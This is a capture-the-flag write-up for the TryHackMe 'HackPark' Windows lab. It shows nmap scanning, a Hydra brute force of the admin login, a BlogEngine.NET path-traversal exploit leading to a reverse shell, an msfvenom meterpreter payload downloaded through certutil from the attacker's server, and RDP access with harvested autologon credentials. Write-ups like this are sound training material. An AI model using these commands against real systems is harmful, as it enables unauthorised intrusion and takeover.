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https://github.com/AbdullahRizwan101/CTF-Writeups
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195 lines
No EOL
7.4 KiB
Markdown
195 lines
No EOL
7.4 KiB
Markdown
# TryHackMe-Hack Park
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>Abdullah Rizwan | 09 : 45 PM | 30th October 2020
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## NMAP
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This is a windows machine so it might not respond to ping so in this we are going to use `-Pn` to ingore ping the box
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```
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nmap -Pn -sC -sV 10.10.34.2
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Host is up (0.17s latency).
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Not shown: 998 filtered ports
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PORT STATE SERVICE VERSION
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80/tcp open http Microsoft IIS httpd 8.5
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| http-methods:
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|_ Potentially risky methods: TRACE
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| http-robots.txt: 6 disallowed entries
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| /Account/*.* /search /search.aspx /error404.aspx
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|_/archive /archive.aspx
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|_http-server-header: Microsoft-IIS/8.5
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|_http-title: hackpark | hackpark amusements
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3389/tcp open ssl/ms-wbt-server?
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|_ssl-date: 2020-10-30T16:52:20+00:00; 0s from scanner time.
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Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
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```
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## PORT 80
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<img src="https://imgur.com/nOYC3rf.png"/>
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I uploaded the image to see where this image was on the internet
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<img src="https://imgur.com/WfgWFD7.png"/>
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Then I came on to a page where it mentions the clown's name `pennywise`
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<img src="https://imgur.com/J8mG2C8.png"/>
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## Gobuster
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<img src="https://imgur.com/KV2eaqt.png"/>
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Here we see an `/admin` page lets visit it
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<img src="https://imgur.com/q2OCmr1.png"/>
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We can on the source that this is `post` form which the request that will be made here will be post a request.
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<img src="https://imgur.com/6KpPuR7.png"/>
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## Hydra
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Now that we know it's a `post` request login form let's try to bruteforce it with `hydra` but we want a username to bruteforce with so by looking at the hints provided by this room the username is `admin` .
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Doing this will give you wrong results
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`hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.34.2 http-post-form "/Account/login.aspx?ReturnURL=%2fadmin:UserName=^USER^ & Password=^PASS^&Login:Login failed"`
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<img src="https://imgur.com/UA1LzC1.png"/>
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Now we launch `burpsuite` intercept the login page with the credentials and we will get this request
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<img src="https://imgur.com/KG8z3Xx.png"/>
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```
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__VIEWSTATE=rKI96%2BsCmsHE%2BBnXdIfX2SDkfH9eXlljTdGkdGcVZvZs4wFTrEcHN8RzIiJUP3%2BmIotfzJsQcEGZkMsFWgCKCcodwrJ0SgoYW6AHLLU3Lf9eI4t0abp6pf2yQ6TIJhJb8D143UhfjmN83j2hEeECKoz5FknRAYWStUq%2FPQA%2FIuHRtaES66kLKksczFvJuU%2B5g5E0lZFLWKoiBU8kIHH%2FBJcfOZrMU4UiWe9lOS2zOwtICdeoD3%2FmgBKIVbefaQDASAS%2BEyufY0WmK%2FGQlKkKrKgw7aY5yjnjHK0qlnhWSlYirlOzmQG1OM%2BgjNLe9lh%2B0FnTKo%2B8l2yrE%2FOtmjfzo7GUHHDyy2kG3Jzb%2Fnc63sYdmpE3&__EVENTVALIDATION=TuS%2F6KtXDbAW7T9F99qLDc%2Bdn5DVR%2FFt6iHlpBIA70gHcfSj6gOvo%2BedBax4e%2Bg9AHpwy0wZr9UAz18%2FzK7qGWGOt3Qa3y0kYnv7So%2BCr7Dx%2F2hgHXmU8QEl1nZbLT%2B9X%2FYLOQfNLu6V2SMGWewSmvdqTs%2FIbIHGLoXPTljXEiu4yPSy&ctl00%24MainContent%24LoginUser%24UserName=^USER^&ctl00%24MainContent%24LoginUser%24Password=^PASS^&ctl00%24MainContent%24LoginUser%24LoginButton=Log+in
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```
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Modify the command by replacing `%21admin:` with `/admin:` and Username=admin with `^USER^` , Password=`^PASS^`
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```
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hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.34.2 http-post-form "/Account/login.aspx?ReturnURL=/admin:__VIEWSTATE=rKI96%2BsCmsHE%2BBnXdIfX2SDkfH9eXlljTdGkdGcVZvZs4wFTrEcHN8RzIiJUP3%2BmIotfzJsQcEGZkMsFWgCKCcodwrJ0SgoYW6AHLLU3Lf9eI4t0abp6pf2yQ6TIJhJb8D143UhfjmN83j2hEeECKoz5FknRAYWStUq%2FPQA%2FIuHRtaES66kLKksczFvJuU%2B5g5E0lZFLWKoiBU8kIHH%2FBJcfOZrMU4UiWe9lOS2zOwtICdeoD3%2FmgBKIVbefaQDASAS%2BEyufY0WmK%2FGQlKkKrKgw7aY5yjnjHK0qlnhWSlYirlOzmQG1OM%2BgjNLe9lh%2B0FnTKo%2B8l2yrE%2FOtmjfzo7GUHHDyy2kG3Jzb%2Fnc63sYdmpE3&__EVENTVALIDATION=TuS%2F6KtXDbAW7T9F99qLDc%2Bdn5DVR%2FFt6iHlpBIA70gHcfSj6gOvo%2BedBax4e%2Bg9AHpwy0wZr9UAz18%2FzK7qGWGOt3Qa3y0kYnv7So%2BCr7Dx%2F2hgHXmU8QEl1nZbLT%2B9X%2FYLOQfNLu6V2SMGWewSmvdqTs%2FIbIHGLoXPTljXEiu4yPSy&ctl00%24MainContent%24LoginUser%24UserName=^USER^&ctl00%24MainContent%24LoginUser%24Password=^PASS^&ctl00%24MainContent%24LoginUser%24LoginButton=Log+in:Login failed" -V
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```
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<img src="https://imgur.com/113BURI.png"/>
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Now give it some time while it's ruuning
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<img src="https://imgur.com/rCaj2oT.png"/>
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And you will have your username : `admin` and password : `1qaz2wsx`
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<img src="https://imgur.com/IkZtMrd.png"/>
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<img src="https://imgur.com/hqhpTq4.png"/>
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You can see here that it is using `blogengine.net` and it's version is `3.3.6`. So first thing that I'am going to do is search for this on `exploit-db`
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https://www.exploit-db.com/exploits/46353
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<img src="https://imgur.com/r9FFuln.png"/>
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Now edit your IP and port in this code
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<img scr="https://imgur.com/yjZfCJX.png"/>
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Save it as `PostView.ascx`
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<img src="https://imgur.com/x8qIvhG.png"/>
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Go to `Posts` on the blogenginge
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<img src="https://imgur.com/bvCHx6j.png"/>
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<img src="https://imgur.com/2ZW9WAF.png"/>
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<img src="https://imgur.com/7I2LHIJ.png"/>
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Set up your `netcat` listener
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Navigate to `http://10.10.34.2/?theme=../../App_Data/files`
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<img src="https://imgur.com/DS7kjLU.png"/>
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<img src="https://imgur.com/6dCUcb9.png"/>
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Now this shell is unstable so we are going to upload a payload and capture it using `metasploit`
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## Msfvenom
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```
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msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.14.3.143 LPORT=5555 -f exe > shell.exe
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```
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<img src="https://imgur.com/DJUbGfB.png">
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## Metasploit
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Launch metasploit through `msfconsole -q`
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`use exploit/multi/handler ` for listener
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<img src="https://imgur.com/4yX4MSe.png"/>
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Set the options as same as on the payload
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<img src="https://imgur.com/e9sZ8t6.png"/>
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Now upload it to the reverse shell
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`python3 -m http.server 80` For uploading
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`certutil.exe -urlcache -f http://10.14.3.143:80/shell.exe shell.exe` For donwloading through reverse shell
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<img src="https://imgur.com/WgDH07u.png"/>
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And looks we have it on the windows box
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<img src="https://imgur.com/6cw5ojF.png"/>
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And just like that we have a stabilized reverse shell through metasploit ,awesome !
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<img src="https://imgur.com/n02ykTg.png"/>
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You can run `systeminfo` on cmd
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```
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systeminfo
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Host Name: HACKPARK
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OS Name: Microsoft Windows Server 2012 R2 Standard
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OS Version: 6.3.9600 N/A Build 9600
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OS Manufacturer: Microsoft Corporation
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OS Configuration: Standalone Server
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OS Build Type: Multiprocessor Free
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Registered Owner: Windows User
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Registered Organization:
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Product ID: 00252-70000-00000-AA886
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Original Install Date: 8/3/2019, 10:43:23 AM
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System Boot Time: 10/30/2020, 9:44:53 AM
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System Manufacturer: Xen
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System Model: HVM domU
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System Type: x64-based PC
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Processor(s): 1 Processor(s) Installed.
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[01]: Intel64 Family 6 Model 63 Stepping 2 GenuineIntel ~2400 Mhz
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BIOS Version: Xen 4.2.amazon, 8/24/2006
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Windows Directory: C:\Windows
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```
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Here you can find `Orginal Install Date`
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For some reason the abonormal service part was giving me issues so I skipped doing the whole `message.exe` thing instead I found something interesting with winpeas that there are autologon credentials for the administrator , We know that RDP on port 3389 is open so we can use `remmina` and get in to the box
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<img src="https://imgur.com/gwmLIi0.png"/>
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Now we are administrator and can do pretty much anythin. |